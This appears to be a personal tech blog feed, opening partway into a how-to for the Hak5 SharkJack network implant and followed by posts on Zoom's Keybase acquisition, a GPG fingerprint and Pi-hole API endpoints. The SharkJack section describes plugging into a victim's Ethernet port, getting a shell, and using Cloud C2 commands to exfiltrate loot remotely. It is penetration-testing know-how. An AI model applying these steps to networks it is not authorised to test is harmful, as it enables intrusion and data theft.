Flip into Attack Mode (fully forward), and wait for LED to go magenta
Plug device into victim Ethernet port, watch LED's blink
Once LED turns off, unplug device and switch to off

Out-of-the box, the ShakJack comes with an nmap payload, useful for initial network reconnaissance

Additional Tools

CLI Helper Tool

The SharkJack Helper a CLI tool for carrying out common tasks:
Get a shell, push a payload, grab saved loot and upgrade the firmware etc

Download from: https://downloads.hak5.org/shark
Make executable: chmod +x sharkjack.sh
Run ./sharkjack.sh, and follow on-screen prompts

Web Interface

Once the firmware has been updated (V1.01 and newer), you can access the SharkJack's web interface by visiting 172.16.24.1 in your browser. From here you can view and modify the current payload, download your loot and view device status

Cloud C2

Download and run Cloud C2 for your system, from https://shop.hak5.org/products/c2
Go to Add Device --> SharkJack. Then select the listing --> Setup, and config file will download
The device.config needs to be uploaded to /etc. Run scp device.config root@172.16.24.1:/ete/
To connect, run CTCONNECT. Back on the web interface, your now able to open a shell, for remote access!
To get the loot, run C2EFIL STRING /root/loot/nmap/nmap-scan_1.txt nmap, data now will show up in Loot tab!

Note that it the SharkJack does not connect to CloudC2 automatically, but by using the CTCONNECT and C2EFIL .. commands to your payload, you'll be able to exfiltrate the loot immediately, and access it remotely.

Reference Info

Switch Positions

Back: Off/ Charging
Middle: Arming Mode
Front: Attack Mode

LET Lights

Green (blinking): Booting up
Blue (blinking): Charging
Blue (solid): Fully Charged
Yellow (blinking): Arming Mode
Red (blinking): Error / No Payload

Individual Payloads have their own LED routines, but usually:
Red: Setup, Amber: Scanning, Green: Finished

Specifications

OS: OpenWRT 19.07-based GNU/Linux
SoC: 580MHz MediaTek MT7628DAN mips CPU
MEMORY: 64 MB DDR2 RAM, 64 MB SPI Flash
IO: RJ45 IEEE 802.3 Ethernet + USB-C charge port
DIMENSIONS: 62 x 21 x 12 mm
POWER: 2.5W (USB 5V 0.5A)
BATTERY: 1S 401020 3.7V 50mAh 0.2W LiPo
BATTERY TIMES: ~15 mins run, ~7 mins charge
TEMP: Operating- 35ºC ~ 45ºC, Storage -20ºC ~ 50ºC
RELATIVE HUMIDITY: 0% to 90% (noncondensing)

My worry about the future of Keybase 😟

Alicia's Notes 🚀 — Sun, 17 May 2020 15:44:20 +0000

When I heard that Zoom had acquired Keybase last week, my initial reaction was that it was a prank.

A bit of background

Keybase is a cryptography-based platform, where you control your private keys and use them to encrypt files, messages and more. It's mostly used by techy people and the privacy-conscious. Personally, I've been a big fan, and user of keybase for the past 4 years.
And Zoom, it seemed to come from nowhere when lockdown started, suddenly it was super popular: it has allowed us to stay in touch with our friends and family, for free and with excellent video quality. But it seems that nearly everyday recently, there's been another critical security issue with Zoom, they don't come across as a company that values the privacy of their users.

My Worries about the future of Keybase

This is an extract from the acquisition article posted on Keybase:

"Initially, our single top priority is helping to make Zoom even more secure. There are no specific plans for the Keybase app yet. Ultimately Keybase's future is in Zoom's hands, and we'll see where that takes us. Of course, if anything changes about Keybase’s availability, our users will get plenty of notice."

This is what worries me about the above quote:

"𝘖𝘶𝘳 𝘴𝘪𝘯𝘨𝘭𝘦 𝘵𝘰𝘱 𝘱𝘳𝘪𝘰𝘳𝘪𝘵𝘺 𝘪𝘴 𝘩𝘦𝘭𝘱𝘪𝘯𝘨 𝘵𝘰 𝘮𝘢𝘬𝘦 𝘡𝘰𝘰𝘮 𝘦𝘷𝘦𝘯 𝘮𝘰𝘳𝘦 𝘴𝘦𝘤𝘶𝘳𝘦" - Implies, that the KeyBase team will now be working on the Zoom platform, and not Keybase.
"𝘌𝘷𝘦𝘯 𝘮𝘰𝘳𝘦 𝘴𝘦𝘤𝘶𝘳𝘦" - HA! They are pretending Zoom is secure
"𝘛𝘩𝘦𝘳𝘦 𝘢𝘳𝘦 𝘯𝘰 𝘴𝘱𝘦𝘤𝘪𝘧𝘪𝘤 𝘱𝘭𝘢𝘯𝘴 𝘧𝘰𝘳 𝘵𝘩𝘦 𝘒𝘦𝘺𝘣𝘢𝘴𝘦 𝘢𝘱𝘱 𝘺𝘦𝘵" - this doesn't sound good
"𝘜𝘭𝘵𝘪𝘮𝘢𝘵𝘦𝘭𝘺 𝘒𝘦𝘺𝘣𝘢𝘴𝘦'𝘴 𝘧𝘶𝘵𝘶𝘳𝘦 𝘪𝘴 𝘪𝘯 𝘡𝘰𝘰𝘮'𝘴 𝘩𝘢𝘯𝘥𝘴" - FUCK
"𝘪𝘧 𝘢𝘯𝘺𝘵𝘩𝘪𝘯𝘨 𝘤𝘩𝘢𝘯𝘨𝘦𝘴 𝘢𝘣𝘰𝘶𝘵 𝘒𝘦𝘺𝘣𝘢𝘴𝘦’𝘴 𝘢𝘷𝘢𝘪𝘭𝘢𝘣𝘪𝘭𝘪𝘵𝘺" - Makes it sound like Keybase could one day be discontinued

And from the Zoom blog post:

"𝘞𝘦 𝘢𝘳𝘦 𝘦𝘹𝘤𝘪𝘵𝘦𝘥 𝘵𝘰 𝘪𝘯𝘵𝘦𝘨𝘳𝘢𝘵𝘦 𝘒𝘦𝘺𝘣𝘢𝘴𝘦’𝘴 𝘵𝘦𝘢𝘮 𝘪𝘯𝘵𝘰 𝘵𝘩𝘦 𝘡𝘰𝘰𝘮 𝘧𝘢𝘮𝘪𝘭𝘺" - Yup, they bought Keybase just to use their engineers
"𝘛𝘩𝘪𝘴 𝘢𝘤𝘲𝘶𝘪𝘴𝘪𝘵𝘪𝘰𝘯 𝘮𝘢𝘳𝘬𝘴 𝘢 𝘬𝘦𝘺 𝘴𝘵𝘦𝘱 𝘧𝘰𝘳 𝘡𝘰𝘰𝘮 𝘢𝘴 𝘸𝘦 𝘢𝘵𝘵𝘦𝘮𝘱𝘵 𝘵𝘰 𝘢𝘤𝘤𝘰𝘮𝘱𝘭𝘪𝘴𝘩 𝘵𝘩𝘦 𝘤𝘳𝘦𝘢𝘵𝘪𝘰𝘯 𝘰𝘧 𝘢 𝘵𝘳𝘶𝘭𝘺 𝘱𝘳𝘪𝘷𝘢𝘵𝘦 𝘷𝘪𝘥𝘦𝘰 𝘤𝘰𝘮𝘮𝘶𝘯𝘪𝘤𝘢𝘵𝘪𝘰𝘯𝘴 𝘱𝘭𝘢𝘵𝘧𝘰𝘳𝘮" - I don't think they have any intention of creating a "truly private" platform. And the word "attempt" doesn't exactly instill confidence in me
"𝘖𝘶𝘳 𝘨𝘰𝘢𝘭 𝘪𝘴 𝘵𝘰 𝘱𝘳𝘰𝘷𝘪𝘥𝘦 𝘵𝘩𝘦 𝘮𝘰𝘴𝘵 𝘱𝘳𝘪𝘷𝘢𝘤𝘺 𝘱𝘰𝘴𝘴𝘪𝘣𝘭𝘦 𝘧𝘰𝘳 𝘦𝘷𝘦𝘳𝘺 𝘶𝘴𝘦 𝘤𝘢𝘴𝘦, 𝘸𝘩𝘪𝘭𝘦 𝘢𝘭𝘴𝘰 𝘣𝘢𝘭𝘢𝘯𝘤𝘪𝘯𝘨 𝘵𝘩𝘦 𝘯𝘦𝘦𝘥𝘴 𝘰𝘧 𝘰𝘶𝘳 𝘶𝘴𝘦𝘳𝘴 𝘢𝘯𝘥 𝘰𝘶𝘳 𝘤𝘰𝘮𝘮𝘪𝘵𝘮𝘦𝘯𝘵 𝘵𝘰 𝘱𝘳𝘦𝘷𝘦𝘯𝘵𝘪𝘯𝘨 𝘩𝘢𝘳𝘮𝘧𝘶𝘭 𝘣𝘦𝘩𝘢𝘷𝘪𝘰𝘳 𝘰𝘯 𝘰𝘶𝘳 𝘱𝘭𝘢𝘵𝘧𝘰𝘳𝘮" - When they talk about "balancing" the needs of customers, this implies that they will not be aiming for true end-to-end encryption and anonymity, it could be possible but I doubt Zoom will peruse that path

I know all this is just legal speak, and they have to word it in this way to cover themselves, but too me this is worrying. I'd come to love Keybase over the years, the team behind it are very talented, and have done an amazing job. It's going to be sad to say goodbye, but for now I'm going to enjoy it while I can :)

Expressing my Gratitude to the Universe 🌌

Alicia's Notes 🚀 — Wed, 15 Apr 2020 22:05:05 +0000

Dear Universe,
Thanks!

AHT GPG Public Key 🔑

Alicia's Notes 🚀 — Tue, 31 Mar 2020 20:35:37 +0000

Fingerprint: 8426 00E4 EDB7 9521 732F 4E6C 8E23 EC73 CE89 3A69

[HOW-TO] Enable/ Disable Pi-Hole from CLI 🥧

Alicia's Notes 🚀 — Tue, 31 Mar 2020 19:58:32 +0000

Pi Hole has an API that can be hit from browser, PostMan or CLI
This is useful for creating a physical button, voice command or automation script

To enable or diable Pi Hole, just hit the following end points
Disable URL : http://pi.hole/admin/api.php?disable&auth=[WEB_PASSWORD]
Enable URL : http://pi.hole/admin/api.php?enable&auth=[WEB_PASSWORD]
Disable for [X] Seconds: http://pi.hole/admin/api.php?disable=[X]&auth=[WEB_PASSWORD]

[WEB_PASSWORD] can be found in /etc/pihole/setupVars.conf
It is a 64-character string with the identifierWEBPASSWORD
It is NOT your pi-hole interface or server password

API Docs: https://discourse.pi-hole.net/t/pi-hole-api/1863

Or, if logged into pi server, run: pihole enable
Docs: https://docs.pi-hole.net/core/pihole-command

Hello World 👋

Alicia's Notes 🚀 — Wed, 18 Mar 2020 18:41:16 +0000

This is my blog. It has a bunch of random notes. The stuff here is mostly pointless, some of it's cool- but most of it pointless. Kind of like the rest of what I do with my life.

I keep the posts and information up-to-date.